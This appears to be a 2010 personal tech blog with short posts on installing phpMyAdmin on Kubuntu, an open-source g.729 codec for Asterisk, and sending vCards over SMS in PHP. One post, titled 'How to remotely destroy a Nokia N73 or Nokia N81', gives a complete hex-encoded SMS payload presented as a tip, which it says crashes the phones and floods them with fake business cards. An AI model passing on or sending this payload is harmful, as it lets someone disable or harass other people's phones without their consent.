23 April 2010

Installing PHPmyadmin on Kubuntu 9.10

I've now nearly fully given up on suckling from the breast of Microsoft. My little Linux laptop is now a fully functioning development box. I must say that so far I have had no separation anxiety as a result of leaving behind the sweaty manboobs of Microsoft and moving on to a more solid diet.

Anyway installing PHPmyadmin is a cinch. I used Kpackagemanager (the Ubuntu version is Synaptic) to get the package.

In retrospect I prefer the Debian apt-get approach of the command line but I like the GUI for its ability to search through all packages to discover cool new toys.

The only trick to installing PHPmyadmin is that you need to reconfigure it once it is up.

Jump to a Konsole and run the command:
sudo dpkg-reconfigure -plow phpmyadmin
This will give you the configuration options that the GUI installer does not. Specifically it sets up the config files so that Apache knows to alias the /phpmyadmin directory to the proper /etc/phpmyadmin.

If for some reason (as was the case with my Kubuntu 11.10) you need to fix the phpmyadmin Apache binding then use these commands:

sudo ln -s /etc/phpmyadmin/apache.conf /etc/apache2/sites-enabled/001-phpmyadmin
sudo service apache2 restart

This will add phpmyadmin to Apache's list of enabled sites so that you can browse it as you would expect.
Tip

21 April 2010

Asterisk Open Source g.729 driver


Asterisk is an Open Source "all in one" telephony system. It's really hard to configure, but that's a story for another day.

Asterisk and g.729

Asterisk supports the g.729 codec to compress audio. Digium, the guys who support Asterisk development, have a commercial offering on their site.

There however is an open source g.729 codec implementation for Asterisk developed available (click here, for some reason Blogger is hiding my link). Installation questions are answered in the discussion on the Google group (here), but the installation is actually very simple.

All you need to do is wget the appropriate file to your /usr/lib/asterisk/modules directory and then mv it to codec_g729.so (or codec_g723.so as may be). It should take you only a few minutes to work out which file version to download.

Other Asterisk resource links

I found these links to be invaluable in sorting out my installation:

Click on this link if you are getting a Non existent user in Asterisk CLI message every couple of seconds when you run asterisk -r.

VOIP info was far and away the most comprehensive resource site I could find. It has a wealth of information and configuration examples for Asterisk.

Tip

07 April 2010

How to remotely destroy a Nokia N73 or Nokia N81

Send them an SMS with this text:

//SCKL23F423F4990101 424547494e3a56434152440d0a464e3a43656c6c736d617274204a48420d0a54454c3b505245463a2b32373131363436373335330d0a454e443a56434152440d0a

This is a vCard formatted according to the guidelines on the Nokia developer forums that for some reason crashes a Nokia N73 or Nokia N81.

It causes them to receive hundreds of fake business cards. Even if they take the SIM card out they will continue to receive the cards.
Tip

06 April 2010

Send a vCard in PHP with an SMPP gateway


I was recently asked to write a program that will send a broker's phone number as a vCard to a list of leads. There is a surprising number of pages dedicated to this problem, but no simple solutions. Here's a quick and easy PHP solution to the problem:

$header = "//SCKL23F4 ";
$vcard = bin2hex("BEGIN:VCARD\r\nFN:Cellsmart JHB\r\nTEL;PREF:+27116467353\r\nEND:VCARD\r\n");
$message = $header . $vcard;

Then send the $message using your SMSC SMPP gateway as usual.

The W3C has some notes on the vCard that has a useful example of a card but a Google search should quickly reveal the full standard details.

Just by the way the $header variable is set to //SCKL23F4 because this is a newer format and is supposed to support vCards that need to be sent over two messages.
Tip